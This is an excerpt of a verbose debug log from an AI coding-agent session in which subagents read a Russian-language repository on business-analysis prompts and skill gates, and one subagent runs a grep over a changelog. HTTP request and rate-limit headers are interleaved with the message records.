\u0440\u0435\u0433\u043b\u0430\u043c\u0435\u043d\u0442\u044b)** \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439, \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430;\\n- \u043d\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0436\u0451\u0441\u0442\u043a\u043e \u0440\u043e\u043b\u044c \u0442\u0430\u043a\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430: \u043e\u043d \u2014 **\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438\\n  \u0444\u0430\u043a\u0442\u043e\u0432 As-Is**, \u0430 \u043d\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u043e\u0443\u043f\u0430/\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n\u0415\u0441\u043b\u0438 \u0431\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0434\u043e\u0433\u0430\u0434\u0430\u043b\u0441\u044f \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c PDF, \u0430\u0433\u0435\u043d\u0442 \u0431\u044b \u0435\u0433\u043e \u0438 \u043d\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u043b.\",\n[2026-09-29T07:46:25.912Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:25.912Z] [INFO]       }\n[2026-09-29T07:46:25.912Z] [INFO]     ]\n[2026-09-29T07:46:25.912Z] [INFO]   },\n[2026-09-29T07:46:25.912Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:25.912Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:25.912Z] [INFO]   \"uuid\": \"d8ab0dc8-9e26-4a62-abdd-cdd386cb00f6\",\n[2026-09-29T07:46:25.912Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:25.906Z\",\n[2026-09-29T07:46:25.912Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:25.912Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:25.912Z] [INFO] }\n[2026-09-29T07:46:25.946Z] [STDOUT] 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\"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:27.899Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:27.908Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2050\",\n[2026-09-29T07:46:27.911Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:27.914Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:46:27.917Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:27.925Z] [STDOUT]     \"x-client-request-id\": \"9339a287-7fe0-4343-9ea5-abb3058e8d59\",\n[2026-09-29T07:46:27.931Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:27.935Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:27.941Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:27.946Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:27.954Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:27.962Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:27.964Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:27.966Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:27.972Z] [STDOUT]   },\n[2026-09-29T07:46:27.975Z] [STDOUT] }\n[2026-09-29T07:46:28.131Z] [INFO] {\n[2026-09-29T07:46:28.131Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:28.131Z] [INFO]   \"message\": {\n[2026-09-29T07:46:28.131Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:28.131Z] [INFO]     \"content\": [\n[2026-09-29T07:46:28.131Z] [INFO]       {\n[2026-09-29T07:46:28.131Z] [INFO]         \"tool_use_id\": \"toolu_012XzcakCbwhC3WWH1TuVwXn\",\n[2026-09-29T07:46:28.131Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:28.131Z] [INFO]         \"content\": \"> \u0424\u0430\u0439\u043b \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0424\u0422-3 issue #557: \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439\\n> (Skills) \u0441 \u0433\u0435\u0439\u0442\u0430\u043c\u0438 \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Claude Code / GigaCode, \u0432\u043a\u043b\u044e\u0447\u0430\u044f\\n> \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043d\u0430\u0432\u044b\u043a\u0430 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u043c.\\n>\\n> **\u0421\u0441\u044b\u043b\u043a\u0438.** \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u2014 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 (\u041d\u0424\u0422-2). \u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0444\u0430\u0439\u043b\u044b **\u044d\u0442\u043e\u0433\u043e \u0436\u0435 \u043c\u043e\u0434\u0443\u043b\u044f**\\n> \u0434\u0430\u043d\u044b \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438: \u043f\u0440\u0430\u0432\u0438\u043b\u043e `P2` Reference Research Pattern \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n> \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0435\u0451 \u043c\u0430\u0448\u0438\u043d\u043d\u043e.\\n> \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438: [`10-theory.md`](10-theory.md) \u2014 \u0434\u0432\u0443\u0445\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u0440\u0430\u043c\u043a\u0430 \u0438\\n> \u0442\u0435\u043e\u0440\u0438\u044f \u0433\u0435\u0439\u0442\u043e\u0432, [`20-taxonomy.md`](20-taxonomy.md) \u2014 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438\\n> \u0441\u0440\u0435\u0434, [`30-decision-framework.md`](30-decision-framework.md) \u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\\n> `GATE-1`\u2026`GATE-6` \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044f.\\n\\n## 1. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n\u041a\u0435\u0439\u0441\u044b \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432\\n[`mango_ba_prompts/runs/`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs)\\n(67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`), \u0430 \u043d\u0435 \u0441\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u0438\u0440\u043e\u0432\u0430\u043d\u044b. \u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435\\n\u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430, \u0437\u0430\u0434\u0430\u044e\u0449\u0435\u0435 \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u043b\u0438\u043d\u0438\u044e:\\n\\n**\u0427\u0442\u043e \u043a\u0435\u0439\u0441 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442.** \u041d\u043e\u0440\u043c\u0430, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0432\u0438\u0434\u0435 \u0442\u0435\u043a\u0441\u0442\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430,\\n\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c \u0436\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u0447\u0442\u043e \u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f, \u2014 \u043c\u043e\u0434\u0435\u043b\u044c\u044e. \u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0451\\n\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438, \u0430 \u043d\u0435 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0439. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0431\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\\n\u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043c\u044b \u043f\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e `\u041a` ([`10-theory.md`](10-theory.md), \u00a75): \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435\\n\u0446\u0438\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 URL \u0432 \u0441\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u043c \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u2014 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441 \u0444\u0430\u043a\u0442\u043e\u043c\\n\u0432\u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n**\u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442.** \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u0430 `G-13`: \u043c\u0435\u0436\u0434\u0443 \u00ab\u0435\u0441\u0442\u044c\\n\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u00bb \u0438 \u00ab\u0435\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u044b\u0439 \u043d\u0430\u0432\u044b\u043a \u0441 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c\u00bb \u043b\u0435\u0436\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e\\n\u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u0430 \u043d\u0435 \u0431\u044b\u043b\u0430 \u043d\u0438\u0447\u044c\u0435\u0439 \u0437\u0430\u0434\u0430\u0447\u0435\u0439. \u0417\u0430\u0434\u0430\u0447\u0438 `B-126` \u0438\\n`B-128` \u043a\u0430\u0441\u043a\u0430\u0434\u0430 \u0434\u0435\u043b\u0430\u044e\u0442 \u0435\u0451 \u044f\u0432\u043d\u043e\u0439.\\n\\n## 5. \u0414\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 BCREQ \u043d\u0430 \u043d\u0430\u0432\u044b\u043a\u0438\\n\\n\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 `H-4`: \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 `\u041f1`\u2013`\u041f6`\\n[`bcreq-process-standard.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/standards/bcreq-process-standard.md)\\n\u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u043e\u0441\u0435\u043c\u044c \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043d\u0430\u0432\u044b\u043a\u043e\u0432. \u041d\u043e\u0441\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0432\u044b\u043a\u0430 \u2014 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\\n(\u043f\u0440\u0430\u0432\u0438\u043b\u043e `M-1` \u0432 [`20-taxonomy.md`](20-taxonomy.md)), \u0430 \u043d\u0435 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441.\\n\\n| \u041d\u0430\u0432\u044b\u043a | \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 | \u0412\u044b\u0445\u043e\u0434 | \u0413\u0435\u0439\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 |\\n| --- | --- | --- | --- | --- |\\n| `context-intake` | `ingestion` | `\u041f1` | \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441 \u043f\u0435\u0440\u0435\u0447\u043d\u0435\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 | `G-self` \u0444\u043e\u0440\u043c\u0430 + `G-mach` \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 |\\n| `delta-baseline` | `understanding` | `\u041f1`/`\u041f2` | \u041c\u0430\u0442\u0440\u0438\u0446\u0430 `SSOT \u2192 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u2192 \u0434\u0435\u043b\u044c\u0442\u0430` (\u043a\u0435\u0439\u0441 `C-2`) | `G-mach` fail-closed \u043d\u0430 \u043f\u0443\u0441\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 |\\n| `bcreq-decompose` | `understanding` | `\u041f2` | \u0414\u0435\u0440\u0435\u0432\u043e BCREQ \u0441 dotted-\u043d\u043e\u0442\u0430\u0446\u0438\u0435\u0439 | **`G-human` `G1`**: \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u0430 |\\n| `scenario-model` | `modeling` | `\u041f3` | US / UC / AC | `G-self`: actor, \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u0441\u043c\u0435\u0448\u0430\u043d\u044b |\\n| `fr-draft` | `documentation`, `solution_design` | `\u041f4` | \u0427\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u0424\u0422 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0448\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 | `G-self` \u0444\u043e\u0440\u043c\u0430 + `G-mach` \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f \u0438 \u0446\u0438\u0442\u0430\u0442\u044b |\",\n[2026-09-29T07:46:28.131Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:28.131Z] [INFO]       }\n[2026-09-29T07:46:28.131Z] [INFO]     ]\n[2026-09-29T07:46:28.131Z] [INFO]   },\n[2026-09-29T07:46:28.131Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:28.131Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:28.131Z] [INFO]   \"uuid\": \"6f971c11-87d3-419d-ab32-bcb51de9d2c1\",\n[2026-09-29T07:46:28.131Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:28.125Z\",\n[2026-09-29T07:46:28.131Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:28.131Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:28.131Z] [INFO] }\n[2026-09-29T07:46:28.159Z] [STDOUT] [log_22dfd6] sending request {\n[2026-09-29T07:46:28.168Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:28.170Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:28.172Z] [STDOUT]   options: {\n[2026-09-29T07:46:28.174Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:28.176Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:28.180Z] [STDOUT]     body: {\n[2026-09-29T07:46:28.184Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:28.187Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:28.190Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:28.193Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:28.196Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:28.200Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:28.203Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:28.206Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:28.211Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:28.218Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:28.220Z] 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\"1790679600\",\n[2026-09-29T07:46:29.206Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:29.211Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:29.214Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:29.218Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:29.222Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:29.225Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:29.227Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:29.232Z] [STDOUT]   \"request-id\": \"req_011CfXMqQUHcS4SBcXYJQx14\",\n[2026-09-29T07:46:29.237Z] [STDOUT]   \"traceresponse\": \"00-f2c5fdbc0ec9b6795ad59b07add6cd83-c29a1edbd9b595c5-01\",\n[2026-09-29T07:46:29.244Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:29.247Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:29.251Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:29.255Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:29.260Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:29.263Z] [STDOUT]   \"cf-ray\": \"a4295fca8fe94d8b-FRA\",\n[2026-09-29T07:46:29.267Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:29.270Z] [STDOUT] [log_7483b7] response parsed {\n[2026-09-29T07:46:29.276Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:29.279Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:29.281Z] [STDOUT]   body: X {\n[2026-09-29T07:46:29.287Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:29.292Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:29.295Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:29.298Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:29.303Z] [STDOUT]     },\n[2026-09-29T07:46:29.307Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:29.310Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:29.316Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:29.319Z] [STDOUT]   },\n[2026-09-29T07:46:29.324Z] [STDOUT]   durationMs: 1131,\n[2026-09-29T07:46:29.327Z] [STDOUT] }\n[2026-09-29T07:46:29.330Z] [INFO] {\n[2026-09-29T07:46:29.330Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:29.330Z] [INFO]   \"message\": {\n[2026-09-29T07:46:29.330Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:29.330Z] [INFO]     \"id\": \"msg_011CfXMqGzLFzrEUeLxy2aXB\",\n[2026-09-29T07:46:29.330Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:29.330Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:29.330Z] [INFO]     \"content\": [\n[2026-09-29T07:46:29.330Z] [INFO]       {\n[2026-09-29T07:46:29.330Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:29.330Z] [INFO]         \"id\": \"toolu_01NTGCMNb82N7odTSiRkBsMJ\",\n[2026-09-29T07:46:29.330Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:29.330Z] [INFO]         \"input\": {\n[2026-09-29T07:46:29.330Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && grep -n \\\"^## \\\\|^### \\\" CHANGELOG.md | head -150\",\n[2026-09-29T07:46:29.330Z] [INFO]           \"description\": \"CHANGELOG headings\"\n[2026-09-29T07:46:29.330Z] [INFO]         },\n[2026-09-29T07:46:29.330Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:29.330Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:29.330Z] [INFO]         }\n[2026-09-29T07:46:29.330Z] [INFO]       }\n[2026-09-29T07:46:29.330Z] [INFO]     ],\n[2026-09-29T07:46:29.330Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:29.330Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:29.330Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:29.330Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:29.330Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:29.330Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:29.330Z] [INFO]       \"cache_creation_input_tokens\": 3164,\n[2026-09-29T07:46:29.330Z] [INFO]       \"cache_read_input_tokens\": 103011,\n[2026-09-29T07:46:29.330Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:29.330Z] [INFO]         \"ephemeral_5m_input_tokens\": 3164,\n[2026-09-29T07:46:29.330Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:29.330Z] [INFO]       },\n[2026-09-29T07:46:29.330Z] [INFO]       \"output_tokens\": 4,\n[2026-09-29T07:46:29.330Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:29.330Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:29.330Z] [INFO]     },\n[2026-09-29T07:46:29.330Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:29.330Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:29.330Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:29.330Z] [INFO]   },\n[2026-09-29T07:46:29.330Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:29.330Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:29.330Z] [INFO]   \"uuid\": \"9e8f1e77-2db1-4888-b4d9-7db43d07c83d\",\n[2026-09-29T07:46:29.330Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:28.784Z\",\n[2026-09-29T07:46:29.330Z] [INFO]   \"request_id\": \"req_011CfXMqGVouV49AmmrwkWRh\",\n[2026-09-29T07:46:29.330Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:29.330Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:29.330Z] [INFO] }\n[2026-09-29T07:46:29.334Z] [INFO] {\n[2026-09-29T07:46:29.334Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"description\": \"Running CHANGELOG headings\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"usage\": {\n[2026-09-29T07:46:29.334Z] [INFO]     \"total_tokens\": 106855,\n[2026-09-29T07:46:29.334Z] [INFO]     \"tool_uses\": 26,\n[2026-09-29T07:46:29.334Z] [INFO]     \"duration_ms\": 126491\n[2026-09-29T07:46:29.334Z] [INFO]   },\n[2026-09-29T07:46:29.334Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"uuid\": \"73800061-bd48-46fc-8051-92991bbc67db\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:29.334Z] [INFO] }\n[2026-09-29T07:46:29.338Z] [STDOUT] [log_22dfd6, request-id: \"req_011CfXMqRqeXnqkkEEUB9N7y\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 854ms\n[2026-09-29T07:46:29.343Z] [STDOUT] [log_22dfd6] response start {\n[2026-09-29T07:46:29.347Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:29.350Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:29.352Z] [STDOUT]   headers: {\n[2026-09-29T07:46:29.354Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:29.360Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:29.363Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:29.367Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:29.369Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:29.371Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:29.374Z] [STDOUT]     